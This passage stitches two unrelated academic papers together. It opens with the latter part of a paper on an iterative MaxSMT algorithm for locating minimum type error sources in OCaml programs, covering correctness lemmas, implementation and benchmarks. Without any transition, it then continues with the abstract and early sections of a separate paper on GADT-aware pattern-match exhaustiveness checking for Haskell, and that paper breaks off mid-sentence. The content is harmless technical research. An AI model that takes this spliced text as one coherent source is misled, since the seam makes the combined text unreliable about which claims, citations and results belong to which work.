some solution since ΦH holds in any model M where M 6|= T`p .

Given a model M = SOLVE(p,R,L), we define LM to be the
set of locations excluded in M :

LM = { ` ∈ Loc(p) |M |= ¬T` } .

4.4 Iterative Algorithm
Next, we present our iterative algorithm for computing minimum
type error sources.

In order to formalize the termination condition of the algorithm,
we first need to define the set of usage locations of let variables
in program p that are in the scope of the current expansion L. We
denote this set by Scope(p,L). Intuitively, Scope(p,L) consists of
all those usage locations of let variables that either occur in the
body of a top-level let declaration or in the defining expression of
some other let variable which has at least one expanded usage
location in L. Formally, Scope(p,L) is the largest set of usage
locations in p that satisfies the following condition: for all ` ∈
dom(Ulocp), if Ulocp(`)∩L = ∅ ∧Ulocp(`) 6= ∅, then Loc(`)∩
Scope(p,L) = ∅.

For M = SOLVE(p,R,L), we then define Usages(p,L,M) to
be the set of all usage locations of the let variables in p that are in
scope of the current expansions and that are marked for expansion.
That is, ` ∈ Usages(p,L,M) iff

1. ` ∈ Scope(p,L), and
2. M 6|= Pdloc(`)

Note that if the second condition holds, then a potentially cheaper
error source exists that involves locations in the definition of the
variable x used at `. Hence, that usage of x should not be typed by
x’s principal type but by the expanded typing constraints generated
from x’s defining expression.

We say that a solution LM , corresponding to the result of
SOLVE(p,R,L), is proper if Usages(p,L,M) ⊆ L, i.e., LM

does not contain any usage locations of let variables that are in
scope and still typed by unexpanded instances of principal types.

Algorithm 1 shows the iterative algorithm. It takes an ill-typed
program p and a cost function R as input and returns a minimum
error source. The set L of locations to be expanded is initialized
to L0. In each iteration, the algorithm first computes a minimum
error source for the current expansion using the procedure SOLVE
from the previous section. If the computed error source is proper,
the algorithm terminates and returns the current solution LM . Oth-
erwise, all usage locations of let variables involved in the current
minimum solution are marked for expansion and the algorithm con-
tinues.
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4.5 Correctness
We devote this section to proving the correctness of our iterative
algorithm. In a nutshell, we show by induction that the solutions
computed by our algorithm are also solutions of the naive algorithm
that expands all usages of let variables immediately as in [24].

We start with the base case of the induction where we fully
expand all constraints, i.e., L = Loc(p).

Lemma 2. Let p be a program and R a cost function and let
M = SOLVE(p,R,Loc(p)). Then LM ⊆ Loc(p) is a minimum
error source of p subject to R.

Lemma 2 follows from [24, Theorem 1] because if L = Loc(p),
then we obtain exactly the same reduction to WPMaxSMT as in
our previous work. More precisely, in this case the A-VAR-PRIN
rule is never used. Hence, all usages of let variables are typed
by the expanded typing constraints according to rule A-VAR-EXP.
The actual proof requires a simple induction over the derivations of
the constraint typing relation defined in Figure 3, respectively, the
constraint typing relation defined in [24, Figure 4].

We next prove that in order to achieve full expansion it is not
necessary that L = Loc(p). To this end, define the set Lp, which
consists of L0 and all usage locations of let variables in p:

Lp = L0 ∪
⋃

l∈dom(Ulocp)

Ulocp(l).

Then `L generates the same constraints as `Loc(p) as stated by the
following lemma.

Lemma 3. For any p, Π, Γ, α, and Φ, we have Π,Γ `Lp p : α | Φ
iff Π,Γ `Loc(p) p : α | Φ.

Lemma 3 can be proved using a simple induction on the deriva-
tions of `Lp , respectively, `Loc(p). First, note that Loc(p)\Lp is the
set of locations of well-typed let variable definitions in p. Hence,
the derivations using `Lp will never use the A-LET-EXP rule, only
A-LET-PRIN. However, the A-LET-PRIN rule updates both Π and
Γ, so applications of A-VAR-EXP (A-VAR-PRIN is never used in
either case) will be the same as if `Loc(p) is used.

The following lemma states that if the iterative algorithm termi-
nates, then it computes a correct result.

Lemma 4. Let p be a program, R a cost function, and L such that
L0 ⊆ L ⊆ Lp. Further, let M = SOLVE(p,R,L) such that LM is
proper. Then, LM is a minimum error source of p subject to R.

The proof of Lemma 4 can be found in the extended version
of the paper [25]. For brevity, we provide here only the high-
level argument. The basic idea is to show that adding each of the
remaining usage locations to L results in typing constraints for
whichLM is again a proper minimum error source. More precisely,
we show that for each set D such that L0 ⊆ L ⊆ L ∪ D ⊆ Lp,
if M is the maximum model of I (p,R,L) from which LM was
computed, then M can be extended to a maximum model M ′ of
I (p,R,L ∪ D) such that LM′ = LM . That is, LM is again a
proper minimum error source for I (p,R,L ∪ D). The proof goes
by induction on the cardinality of the set D. Therefore, by the case
L ∪ D = Lp, Lemma 2, and Lemma 3 we have that LM is a true
minimum error source for p subject to R.

Finally, note that the iterative algorithm always terminates since
L is bounded from above by the finite set Lp and L grows in each
iteration. Together with Lemma 4, this proves the total correctness
of the algorithm.

Theorem 1. Let p be a program and R a cost function. Then,
ITERMINERROR(p,R) terminates and computes a minimum error
source for p subject to R.

5. Implementation and Evaluation
In this section we describe the implementation of our algorithm that
targets the Caml subset of the OCaml language. We also present
the results of evaluating our implementation on the OCaml student
benchmark suite from [17] and the GRASShopper [27] program
verification tool.

The prototype implementation of our algorithm was uniformly
faster than the naive approach in our experiments. Most impor-
tantly, the number of generated typing constraints produced by our
algorithm is almost an order of magnitude smaller than when using
the naive approach. Consequently, our algorithm also ran faster in
the experiments.

We note that the new algorithm and the algorithm in [24] pro-
vide the same formal guarantees. Since we made experiments on
the quality of type error sources in [24], we feel a new evaluation–
over largely the same set of benchmarks and the same ranking
criterion–would not be a significant contribution beyond the work
done in [24]. We refer the reader to that paper for more details.

5.1 Implementation
Our implementation bundles together the EasyOCaml [13] tool and
the MaxSMT solver νZ [6, 7]. The νZ solver is available as a
branch of the SMT solver Z3 [11]. We use EasyOCaml for gen-
erating typing constraints for OCaml programs. Once we convert
the constraints to the weighted MaxSMT instances, we use Z3’s
weighted MaxRes [20] algorithm to compute a minimum error
source.

Constraint Generation. EasyOCaml is a tool that helps program-
mers debug type errors by computing a slice of a program involved
in the type error [15]. The slicing algorithm that EasyOCaml imple-
ments relies on typing constraint generation. More precisely, Easy-
OCaml produces typing constraints for the Caml part of the OCaml
language, including algebraic data types, reference, etc. The imple-
mentation of our algorithm modifies EasyOCaml so that it stores
a map from locations to the corresponding generated typing con-
straints. This map is then used to compute the principal types for
let variables. Rather than using the algorithm W, we take typ-
ing constraints of locations within the let defining expression and
compute a most general solution to the constraints using a unifi-
cation algorithm [26, 28]. In other words, principal types for let
defining variables are computed in isolation, with no assumptions
on the bound variables, which are left intact. Then, we assign each
program location with a weight using a fixed cost function. The
implementation uses a modified version of the cost function in-
troduced in Section 2 where each expression is assigned a weight
equal to its AST size. The implemented function additionally anno-
tates locations that come from expressions in external libraries and
user-provided type annotations as hard constraints. This means that
they are not considered as a source of type errors.

The generation of typing constraints for each iteration in our
algorithm directly follows the typing rules in Figure 3. In addition,
we perform a simple optimization that reduces the total number of
typing constraints. When typing an expression let x = e1 in e2,
the A-Let-Prin and A-Let-Exp rules always add a fresh instance
of the constraint Φ1 for e1 to the whole set of constraints. This
is to ensure that type errors in e1 are not missed if x is never
used in e2. We can avoid this duplication of Φ1 in certain cases.
If a principal type was successfully computed for the let variable
beforehand, the constraints Φ1 must be consistent. If the expression
e1 refers to variables in the environment that have been bound by
lambda abstraction, then not instantiating Φ1 at all could make
the types of these variables under-constrained. However, if Φ1 is
consistent and e1 does not contain variables that come from lambda
abstractions, then we do not need to include a fresh instance of Φ1
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in A-Let-Prin. Similarly, if e1 has no principal type because of
a type error and the variable x is used somewhere in e2, then the
algorithm ensures that all such usages are expanded and included in
the whole set of typing constraints. Therefore, we can safely omit
the extra instance of Φ1 in this case as well.

Solving the Weighted MaxSMT Instances. Once our algorithm
generates typing constraints for an iteration, we encode the con-
straints in an extension of the SMT-LIB 2 language [4]. This exten-
sion allows us to handle the theory of inductive data types which we
use to encode types and type variables, whereas locations are en-
coded as propositional variables. We compute the weighted partial
MaxSMT solution for the encoded typing constraints by using Z3’s
weighted partial MaxSMT facilities. In particular, we configure the
solver to use the MaxRes [20] algorithm for solving the weighed
partial MaxSMT problem.

5.2 Evaluation
We evaluated our implementation on the student OCaml bench-
marks from [17] as well as ill-typed OCaml programs we took
from the GRASShopper program verification tool [27]. The stu-
dent benchmark suite consists of OCaml programs written by stu-
dents that were new to OCaml. We took the 356 programs from the
benchmark suite that are ill-typed. Most of these programs exhibit
type mismatch errors. Only few of programs have trivial type errors
such as calling a function with too many arguments or assigning a
non-mutable field of a record. The other programs in the benchmark
suite that we did not consider do not exhibit type errors, but errors
that are inherently localized, such as the use of an unbounded value
or constructor. The size of these programs is limited; the largest
example has 397 lines of code.

Since we lacked an appropriate corpus of larger ill-typed user
written programs, we generated ill-typed programs from the source
code of the GRASShopper tool [27]. We chose GRASShopper be-
cause it contains non-trivial code that mostly falls into the OCaml
fragment supported by EasyOCaml. For our experiments, we took
several modules from the GRASShopper source code and put them
together into four programs of 1000, 1500, 2000, and 2500 lines
of code, respectively. These modules include the core data struc-
tures for representing the abstract syntax trees of programs and
specification logics, as well as complex utility functions that oper-
ate on these data structures. We included comments when counting
the number of program lines. However, comments were generally
scars. The largest program with 2500 lines comprised 282 top-level
let definitions and 567 let definitions in total. We then introduced
separately five distinct type errors to each program, obtaining a new
benchmarks suite of 20 programs in total. We introduced common
type mismatch errors such as calling a function or passing an argu-
ment with an incompatible type.

All of our timing experiments were conducted on a 3.60GHz
Intel(R) Xeon(R) machine with 16GBs of RAM.

Student benchmarks. In our first experiment, we collected statis-
tics for finding a single minimum error source in the the student
benchmarks with our iterative algorithm and the naive algorithm
from [24]. We measured the number of typing constraints gener-
ated (Fig. 4), the execution times (Fig. 5), and the number of expan-
sions and iterations taken by our algorithm (Table 1). The bench-
mark suite of 356 programs is broken into 8 groups according to
the number of lines of code in the benchmark. The first group in-
cludes programs consisting of 0 and 50 lines of code, the second
group includes programs of size 50 to 100, and so on.

Figure 4 shows the statistics for the total number of gener-
ated typing assertions. By typing assertions we mean logical asser-
tions, encoding the typing constraints, that we pass to the weighted
MaxSMT solver. The number of typing assertions roughly corre-

sponds to the sum of the total number of locations, constraints at-
tached to each location due to copying, and the number of well
typed let definitions. All 8 groups of programs are shown on the x
axis in Figure 4. The numbers in parenthesis indicate the number of
programs in each group. For each group and each approach (naive
and iterative), we plot the maximum, minimum and average num-
ber of typing assertions. To show the general trend for how both
approaches are scaling, lines have been drawn between the aver-
ages for each group. (All of the figures in this section follow this
pattern.) As can be seen, our algorithm reduces the total number of
generated typing assertions. This number grows exponentially with
the size of the program for the naive approach. With our approach,
this number seems to grow at a much slower rate since it does not
expand every usage of a let variable unless necessary. These re-
sults make us cautiously optimistic that the number of assertions the
iterative approach expands will be polynomial in practice. Note that
the total number of typing assertions produced by our algorithm is
the one that is generated in the last iteration of the algorithm.
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Figure 4. Maximum, average, and minimum number of typing
assertions for computing a minimum error source by naive and
iterative approach
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Figure 5. Maximum, average, and minimum execution times for
computing a minimum error source by naive and iterative approach

The statistics for execution times are shown in Figure 5. The
iterative algorithm is consistently faster than the naive solution. We
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believe this to be a direct consequence of the fact that our algorithm
generates a substantially smaller number of typing constraints. The
difference in execution times between our algorithm and the naive
approach increases with the size of the input program. Note that the
total times shown are collected across all iterations.

We also measured the statistics on the number of iterations
and expansions taken by our algorithm. The number of expansions
corresponds to the total number of usage locations of let variables
that have been expanded in the last iteration of our algorithm. The
results, shown in Table 1, indicate that the total number of iterations
required does not substantially change with the input size. We
hypothesize that this is due to the fact that type errors are usually
tied only to a small portion of the input program, whereas the rest
of the program is not relevant to the error.

Table 1. Statistics for the number of expansions and iterations
when computing a single minimum error source

iterations expansions
min avg max min avg max

0-50 0 0.49 2 0 1.7 11
50-100 0 0.29 3 0 0.88 13
100-150 0 0.49 4 0 1.37 32
150-200 0 0.44 3 0 1.82 19
200-250 0 0.49 2 0 3.11 30
250-300 0 0.36 2 0 6.04 45
300-350 0 0.67 2 0 3.33 10
350-400 0 0 0 0 0 0

It is worth noting that both the naive and iterative algorithm
compute single error sources. The algorithms may compute differ-
ent solutions for the same input since the fixed cost function does
not enforce unique solutions.3 The iterative algorithm does not at-
tempt to find a minimum error source in the least number of itera-
tions possible, but rather it expands let definitions on-demand as
they occur in the computed error sources. This means that the algo-
rithm sometimes continues expanding let definitions even though
there exists a proper minimum error source for the current expan-
sion. In our future work, we plan to consider how to enforce the
search algorithm so that it first finds those minimum error sources
that require less iterations and expansions.

GRASShopper benchmarks. We repeated the previous experi-
ments on the generated GRASShopper benchmarks. The bench-
marks are grouped by code size. There are four groups of five pro-
grams corresponding to programs with 1000, 1500, 2000, and 2500
lines.

Figure 6 shows the total number of generated typing assertions
subject to the code size. This figure follows the conventions of
Fig. 4 except that the number of constraints is given on a loga-
rithmic scale.4 The total number of assertions generated by our al-
gorithm is consistently an order of magnitude smaller than when
using the naive approach. The naive approach expands all let de-
fined variables where the iterative approach expands only those let
definitions that are needed to find the minimum error source. Con-
sequently, the times taken by our algorithm to compute a minimum
error source are smaller than when using the naive one, as shown
in Figure 7. Beside solving a larger weighed MaxSMT instance,
the naive approach also has to spend more time generating typing
assertions than our iterative algorithm. Finally, Table 2 shows the

3 Both approaches are complete and would compute identical solutions for
the all error sources problem [24].
4 The minimum, maximum, and average points are plotted in Figures 6
and 7 for each group and algorithm, but these are relatively close to each
other and hence visually mostly indistinguishable.

statistics on the number of iterations and expansion our algorithm
made while computing the minimum error source. Again, the total
number of iterations appears to be independent of the size of the
input program.
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Figure 6. Maximum, average, and minimum number of typing
assertions for computing a minimum error source by naive and
iterative approach for larger programs
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computing a minimum error source by naive and iterative approach
for larger programs

Table 2. Statistics for the number of expansions and iterations
when computing a single minimum error source for larger pro-
grams

iterations expansions
min avg max min avg max

1000 0 0.2 1 0 0.2 1
1500 0 0.4 2 0 2.8 14
2000 0 0.6 2 0 53.8 210
2500 0 0.2 1 0 3 15
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Comparison to other tools. Our algorithm also outperforms the
approach by Myers and Zhang [33] in terms of speed on the same
student benchmarks. While our algorithm ran always under 5 sec-
onds, their algorithm took over 80 seconds for some programs. We
also ran their tool SHErrLoc [29] on one of our GRASSHopper
benchmark programs of 2000 lines of code. After approximately
3 minutes, their tool ran out of memory. We believe this is due to
the exponential explosion in the number of typing constraints due
to polymorphism. For that particular program, the total number of
typing constraints their tool generated was roughly 200, 000. On
the other hand, their tool shows high precision in correctly pin-
pointing the actual source of type errors. These results nicely ex-
emplify the nature of type error localization. In order to solve the
problem of producing high quality type error reports, one needs to
consider the whole typing data. However, the size of that data can
be impractically large, making the generation of type error reports
slow to the point of being not usable. One benefit of our approach is
that these two problems can be studied independently. In this work,
we focused on the second problem, i.e., how to make the search for
high-quality type error sources practically fast.

6. Conclusion
We have presented a new algorithm that efficiently finds optimal
type error sources subject to generic usefulness criteria. The al-
gorithm uses SMT techniques to deal with the large search space
of potential error sources, and principal types to abstract the typ-
ing constraints of polymorphic functions. The principal types are
lazily expanded to the actual typing constraints whenever a candi-
date error source involves a polymorphic function. This technique
avoids the exponential-time behavior that is inherent to type check-
ing in the presence of polymorphic functions and still guarantees
the optimality of the computed type error sources. We experimen-
tally showed that our algorithm scales to programs of realistic size.
To our knowledge, this is the first type error localization algorithm
that guarantees optimal solutions and is fast enough to be usable in
practice.
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Abstract
For ML and Haskell, accurate warnings when a function defini-
tion has redundant or missing patterns are mission critical. But to-
day’s compilers generate bogus warnings when the programmer
uses guards (even simple ones), GADTs, pattern guards, or view
patterns. We give the first algorithm that handles all these cases in
a single, uniform framework, together with an implementation in
GHC, and evidence of its utility in practice.

Categories and Subject Descriptors D.3.2 [Language Classifica-
tions]: Applicative (functional) languages; D.3.3 [Language Con-
structs and Features]: Patterns

Keywords Haskell, pattern matching, Generalized Algebraic Data
Types, OUTSIDEIN(X)

1. Introduction
Is this function (in Haskell) fully defined?

zip :: [a] -> [b] -> [(a,b)]
zip [] [] = []
zip (a:as) (b:bs) = (a,b) : zip as bs

No, it is not: the call (zip [] [True]) will fail, because neither
equation matches the call. Good compilers will report missing pat-
terns, to warn the programmer that the function is only partially de-
fined. They will also warn about completely-overlapped, and hence
redundant, equations. Although technically optional for soundness,
these warnings are incredibly useful in practice, especially when
the program is refactored (i.e. throughout its active life), with con-
structors added and removed from the data type (Section 2).

But what about this function?

vzip :: Vect n a -> Vect n b -> Vect n (a,b)
vzip VN VN = VN
vzip (VC x xs) (VC y ys) = VC (x,y) (vzip xs ys)

where the type Vect n a represents lists of length n with element
type a. Vect is a Generalised Algebraic Data Type (GADT):

data Vect :: Nat -> * -> * where
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VN :: Vect Zero a
VC :: a -> Vect n a -> Vect (Succ n) a

Unlike zip, function vzip is fully defined: a call with arguments
of unequal length, such as (vzip VN (VC True VN)), is simply
ill-typed. Comparing zip and vzip, it should be clear that only
a type-aware algorithm can correctly decide whether or not the
pattern-matches of a function definition are exhaustive.

Despite the runaway popularity of GADTs, and other pattern-
matching features such as view patterns and pattern guards, no pro-
duction compiler known to us gives accurate pattern-match overlap
and exhaustiveness warnings when these features are used. Cer-
tainly our own compiler, GHC, does not; and nor does OCaml. In
this paper we solve the problem. Our contributions are these:

• We characterise the challenges of generating accurate warn-
ings in Haskell (Section 2). The problem goes beyond GADTs!
There are subtle issues concerning nested patterns, view pat-
terns, guards, and laziness; the latter at least has never even been
noticed before.

• We give a type-aware algorithm for determining missing or re-
dundant patterns (Sections 3 and 4). The algorithm is parame-
terised over an oracle that can solve constraints: both type con-
straints and boolean constraints for guards. Extending the or-
acle allows us to accommodate type system extensions or im-
prove the precision of the reported warnings without affecting
the main algorithm at all.
The central abstraction in this algorithm is the compact sym-
bolic representation of a set of values by a triple (Γ � u � Δ)
consisting of an environment Γ, a syntactic value abstraction u
and a constraint Δ (Section 4.1). The key innovation is to in-
clude the constraints Δ to refine the set of values; for example
(x:Int � Just x � x>3) is the set of all applications of Just to
integers bigger than 3. This allows us to handle GADTs, guards
and laziness uniformly.

• We formalise the correctness of our algorithm (Section 5) with
respect to the Haskell semantics of pattern matching.

• We have implemented our algorithm in GHC, a production
quality compiler for Haskell (Section 6). The new implemen-
tation is of similar code size as its predecessor although it is
much more capable. It reuses GHC’s existing type constraint
solver as an oracle.

• We demonstrate the effectiveness of the new checker on a set
of actual Haskell programs submitted by GHC users, for whom
inaccurate warnings were troublesome (Section 7).

There is quite a bit of related work, which we discuss in Section 8.
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2. The Challenges That We Tackle
The question of determining exhaustiveness and redundancy of
pattern matching has been well studied (Section 8), but almost
exclusively in the context of purely structural matching. In this
section we identify three new challenges:

• The challenge of GADTs and, more generally, of patterns that
bind arbitrary existential type variables and constraints (Sec-
tion 2.2).

• The challenge of laziness (Section 2.3).
• The challenge of guards (Section 2.4).

These issues are all addressed individually in the literature but, to
our knowledge, we are the first to tackle all three in a single unified
framework, and implement the unified algorithm in a production
compiler.

2.1 Background
Given a function definition (or case expression) that uses pattern
matching, the task is to determine whether any clauses are missing
or redundant.

Missing clauses. Pattern matching of a sequence of clauses is ex-
haustive if every well-typed argument vector matches one of the
clauses. For example:

zip [] [] = []
zip (a:as) (b:bs) = (a,b) : zip as bs

zip is not exhaustive because there is a well-typed call that does
not match any of its clauses; for example zip [] [True]. So
the clause zip [] (b:bs) = e is missing.

Redundant clauses. If there is no well-typed value that matches
the left hand side of a clause, the right hand side of the clause
can never be accessed and the clause is redundant. For example,
this equation would be redundant:

vzip VN (VCons x xs) = ....

Since the application of a partial function to a value outside its
domain results in a runtime error, the presence of non-exhaustive
pattern matches often indicates a programmer error. Similarly, hav-
ing redundant clauses in a match is almost never intentional and
indicates a programmer error as well. Fortunately, this is a well-
studied problem[1, 14–16, 30, 33]: compilers can detect and warn
programmers about these anomalies. We discuss this related work
in Section 8.

However, Haskell has moved well beyond simple constructor
patterns: it has overloaded literal patterns, guards, view patterns,
pattern synonyms, and GADTs. In the rest of this section we de-
scribe these new challenges, while in subsequent sections we show
how to address them.

2.2 The Challenge of GADTs
In recent years, Generalized Algebraic Data Types (GADTs, also
known as guarded recursive data types [37], first-class phantom
types [4], etc.) have appeared in many programming languages,
including Haskell [23, 25], OCaml [10] and Ωmega [28]. Apart
from the well-studied difficulties they pose for type inference,
GADTs also introduce a qualitatively-new element to the task of
determining missing or redundant patterns. As we showed in the
Introduction, only a type-aware algorithm can generate accurate
warnings.

Indeed, although GADTs have been supported by the Glasgow
Haskell Compiler (GHC) since March 2006 [23], the pattern match
check was never extended to take account of GADTs, resulting

in many user bug reports. Although there have been attempts to
improve the algorithm (see tickets1 #366 and #2006), all of them
are essentially ad-hoc and handle only specific cases.

This matters. GHC warns (wrongly) about missing patterns
in the definition of vzip. Programmers often try to suppress the
warning by adding a third fall-through clause:

vzip _ _ = error "Inaccessible branch"

That suppresses the warning but at a terrible cost: if you modify
the data type (by adding a constructor, say), you would hope that
you would get warnings about missing cases in vzip. But no,
the fall-through clause covers the new constructors, so GHC stays
silent. At a stroke, that obliterates one of the primary benefits
warnings for missing and redundant clauses: namely, their support
during software maintenance and refactoring, perhaps years after
the original code was written.

Moreover, GADTs are special case of something more general:
data constructors that bind arbitrary existential type variables and
constraints. For example:

data T a where
MkT :: (C a b, F a ~ G b) => a -> b -> T a

where C is a type class and F and G are type functions. Here the
constructor MkT captures an existential type variable b, and binds
the constraints (C a b, F a ~ G b). In the rest of the paper we
draw examples from GADTs, but our formalism and algorithm
handles the general case.

2.3 The Challenge of Laziness
Haskell is a lazy language, and it turns out that laziness interacts in
an unexpectedly subtle way with pattern matching checks. Here is
an example, involving two GADTs:

data F a where data G a where
F1 :: F Int G1 :: G Int
F2 :: F Bool G2 :: G Char

h :: F a -> G a -> Int
h F1 G1 = 1
h _ _ = 2

Given h’s type signature, its only well-typed non-bottom arguments
are F1 and G1 respectively. So, is the second clause for h redundant?
No! Consider the call (h F2⊥), where ⊥ is a diverging value,
or an error value such as (error "urk"). Pattern matching in
Haskell works top-to-bottom, and left-to-right. So we try the first
equation, and match the pattern F1 against the argument F2. The
match fails, so we fall through to the second equation, which
succeeds, returning 2.

Nor is this subtlety restricted to GADTs. Consider:

g :: Bool -> Bool -> Int
g _ False = 1
g True False = 2
g _ _ = 3

Is the second equation redundant? It certainly looks redundant: if
the second clause matches then the first clause would have matched
too, so g cannot possibly return 2. The right-hand side of the second
clause is certainly dead code.

Surprisingly, though, it is not correct to remove the second
equation. What does the call (g⊥ True) evaluate to, where ⊥ is a
looping value? Answer: the first clause fails to match, so we attempt
to match the second. That requires us to evaluate the first argument

1 Tickets are GHC bug reports, recorded through the project’s bug/issue
tracking system: ghc.haskell.org/trac/ghc.
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of the call, ⊥, which will loop. But if we omitted the second clause,
(g⊥ True) would return 3.

In short, even though the right-hand side of the second equation
is dead code, the equation cannot be removed without (slightly)
changing the semantics of the program. So far as we know, this
observation has not been made before, although previous work [16]
would quite sensibly classify the second equation as non-redundant
(Section 8).

The same kind of thing happens with GADTs. With the same
definitions for F and G, consider

k :: F a -> G a -> Int
k F1 G1 = 1
k _ G1 = 2

Is the second equation redundant? After all, anything that matches
it would certainly have matched the first equation (or caused di-
vergence if the first argument was ⊥). So the RHS is definitely
dead code; k cannot possibly return 2. But removing the second
clause would make the definition of k inexhaustive: consider the
call (k F2⊥).

The bottom line is this: if we want to report accurate warnings,
we must take laziness into account. We address this challenge in
this paper.

2.4 The Challenge of Guards
Consider this function:

abs1 :: Int -> Int
abs1 x | x < 0 = -x

| otherwise = x

This function makes use of Haskell’s boolean-valued guards, intro-
duced by “|”. If the guard returns True, the clause succeeds and the
right-hand side is evaluated; otherwise pattern-matching continues
with the next clause.

It is clear to the reader that this function is exhaustive, but not
so clear to a compiler. Notably, otherwise is not a keyword; it
is simply a value defined by otherwise = True. The compiler
needs to know that fact to prove that the pattern-matching is ex-
haustive. What about this version:

abs2 :: Int -> Int
abs2 x | x < 0 = -x

| x >= 0 = x

Here the exhaustiveness of pattern-matching depends on knowl-
edge of the properties of < and >=. In general, the exhaustiveness
for pattern matches involving guards is clearly undecidable; for ex-
ample, it could depend on a deep theorem of arithmetic. But we
would like the compiler to do a good job in common cases such as
abs1, and perhaps abs2.

GHC extends guards further with pattern guards. For example:

append xs ys
| [] <- xs = ys
| (p:ps) <- xs = p : append ps ys

The pattern guard matches a specified expression (here xs in both
cases) against a pattern; if matching succeeds, the guard succeeds,
otherwise pattern matching drops through to the next clause. Other
related extensions to basic pattern matching include literal patterns
and view patterns [9, 32].

All these guard-like extensions pose a challenge to determining
the exhaustiveness and redundancy of pattern-matching, because
pattern matching is no longer purely structural. Every real com-
piler must grapple with this issue, but no published work gives a
systematic account of how to do so. We do so here.

p11..p1n

p21..p2n

pm1..pmn

patVectProc

patVectProc

patVectProc

U0

U1

Un

...

C1

D1

Symbolic representation 
of all possible values

Symbolic representation 
of all uncovered values

... ...

C2

D2

Cm

Dm

Figure 1: Algorithm Outline

3. Overview of Our Approach
In this section we describe our approach in intuitive terms, showing
how it addresses each of the three challenges of Section 2. We
subsequently formalise the algorithm in Section 4.

3.1 Algorithm Outline
The most common use of pattern matching in Haskell is when a
function is defined using multiple clauses:

f p11 . . .p1n = e1 Clause 1
. . .

f pm1. . .pmn = em Clause m

From the point of view of pattern matching, the function name “f”
is incidental: all pattern matching in Haskell can be regarded as a
sequence of clauses, each clause comprising a pattern vector and a
right hand side. For example, a case expression also has multiple
clauses (each with only one pattern); a Haskell pattern matching
lambda has a single clause (perhaps with multiple patterns); and so
on.

In Haskell, pattern matching on a sequence of clauses is car-
ried out top-to-bottom, and left-to-right. In our function f above,
Haskell matches the first argument against p11, the second against
p12 and so on. If all n patterns in the first clause match, the right
hand side is chosen; if not, matching resumes with the next clause.
Our algorithm, illustrated in Figure 1, works in the same way: it
analyses the clauses one by one, from top to bottom. The analy-
sis patVectProc of an individual clause takes a compact symbolic
representation of the vector of argument values that are possibly
submitted to the clause, and partitions these values into three dif-
ferent groups:

C The values that are covered by the clause; that is, values that
match the clause without divergence, so that the right-hand side
is evaluated.

D The values that diverge when matched against the clause, so
that the right-hand side is not evaluated, but neither are any
subsequent clauses matched.

U The remaining uncovered values; that is, the values that fail to
match the clause, without divergence.

As illustrated in Figure 1, the input to the first clause represents all
possible values, and each subsequent clause is fed the uncovered
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values of the preceding clause. For example, consider the function
zip from the Introduction:

zip [] [] = []
zip (a:as) (b:bs) = (a,b) : zip as bs

We start the algorithm with C0 = {_ _}, where we use “_” to
stand for “all values”. Processing the first clause gives:

C1 = {[] []}
D1 = {⊥ _, []⊥}
U1 = {[] (_:_), (_:_) _}

The values that fail to match the first clause, and do so without
divergence, are U1, and these values are fed to the second clause.
Again we divide the values into three groups:

C2 = {(_:_) (_:_)}
D2 = {(_:_)⊥}
U2 = {[] (_:_), (_:_) []}

Now, U2 describes the values that fail to match either clause. Since
it is non-empty, the clauses are not exhaustive, and a warning
should be generated. In general we generate three kinds of warn-
ings:

1. If the function is defined by m clauses, and Um is non-empty,
then the clauses are non-exhaustive, and a warning should be
reported. It is usually helpful to include the set Um in the error
message, so that the user can see which patterns are not covered.

2. Any clause i for which Ci and Di are both empty is redundant,
and can be removed altogether.

3. Any clause i for which Ci is empty, but Di is not, has an
inaccessible right hand side even though the equation cannot
be removed. This is unusual, and deserves its own special kind
of warning; again, including Di in the error message is likely
to be helpful.

Each of C,U, and D is a set of value abstractions, a compact rep-
resentation of a set of value vectors that are covered, uncovered, or
diverge respectively. For example, the value abstraction (_:_) []
stands for value vectors such as

(True:[]) []
(False : (True : [])) []

and so on. Notice in D1, D2 that our value abstractions must
include ⊥, so that we can describe values that cause matching to
diverge.

3.2 Handling Constraints
Next we discuss how these value abstractions may be extended to
handle GADTs. Recall vzip from the Introduction

vzip :: Vect n a -> Vect n b -> Vect n (a,b)
vzip VN VN = VN
vzip (VC x xs) (VC y ys) = VC (x,y) (vzip xs ys)

What do the uncovered sets Ui look like? Naively they would look
like that for zip:

U1 = {VN (VC _ _), (VC _ _) _}
U2 = {VN (VC _ _), (VC _ _) VN}

To account for GADTs we add type constraints to our value ab-
stractions, to give this:

U1 = {VN (VC _ _) � (n ∼ Zero, n ∼ Succ n2)
, (VC _ _) _ � (n ∼ Succ n2)}

Each value tuple abstraction in the set now comes with a type
equality constraint (e.g. n ∼ Succ n2), and represents values of
the specified syntactic shape, for which the equality constraint is

satisfiable at least for some substitution of its free variables. The
first abstraction in U1 has a constraint that is unsatisfiable, because
n cannot simultaneously be equal to both Zero and Succ n2.
Hence the first abstraction in U1 represents the empty set of values
and can be discarded. Discarding it, and processing the second
clause gives

U2 = {(VC _ _) VN � (a ∼ Succ n, a ∼ Zero)}

Again the constraint is unsatisfiable, so U2 is empty, which says
that the function is exhaustive.

We have been a bit sloppy with binders (e.g. where is n2
bound?), but we will tighten that up in the next section. The key
intuition is this: the abstraction u � Δ represents the set of val-
ues whose syntactic shape is given by u, and for which the type
constraint Δ is satisfied.

3.3 Guards and Oracles
In the previous section we extended value abstractions with a con-
junction of type-equality constraints. It is straightforward to take
the idea further, and add term-equality constraints. Then the final
uncovered set for function abs2 (Section 2.4) might look like this:

U2 = {x � (False = x<0, False = x>=0)}

We give the details of how we generate this set in Section 4, but
intuitively the reasoning goes like this: if neither clause for abs2
matches, then both boolean guards must evaluate to False. Now,
if the compiler knows enough about arithmetic, it may be able to
determine that the constraint is unsatisfiable, and hence that U2 is
empty, and hence that abs2 is exhaustive.

For both GADTs and guards, the question becomes this: is the
constraint Δ unsatisfiable? And that is a question that has been
extremely well studied, for many particular domains. For the pur-
poses of this paper, therefore, we treat satisfiability as a black box,
or oracle: the algorithm is parameterised over the choice of oracle.
For type-equality constraints we have a very good oracle, namely
GHC’s own type-constraint solver. For term-level constraints we
can plug in a variety of solvers. This modular separation of con-
cerns is extremely helpful, and is a key contribution of our ap-
proach.

3.4 Complexity
Every pattern-checking algorithm has terrible worst-case complex-
ity, and ours is no exception. For example, consider

data T = A | B | C
f A A = True
f B B = True
f C C = True

What values U3 are not covered by f? Answer

{ A B, A C, B A, B C, C A, C B }

The size of the uncovered set is the square of the number of
constructors in T. It gets worse: Sekar et al. [26] show that the
problem of finding redundant clauses is NP-complete, by encoding
the boolean satisfiability (SAT) problem into it. So the worst-case
running time is necessarily exponential. But so is Hindley-Milner
type inference! As with type inference, we hope that worst case
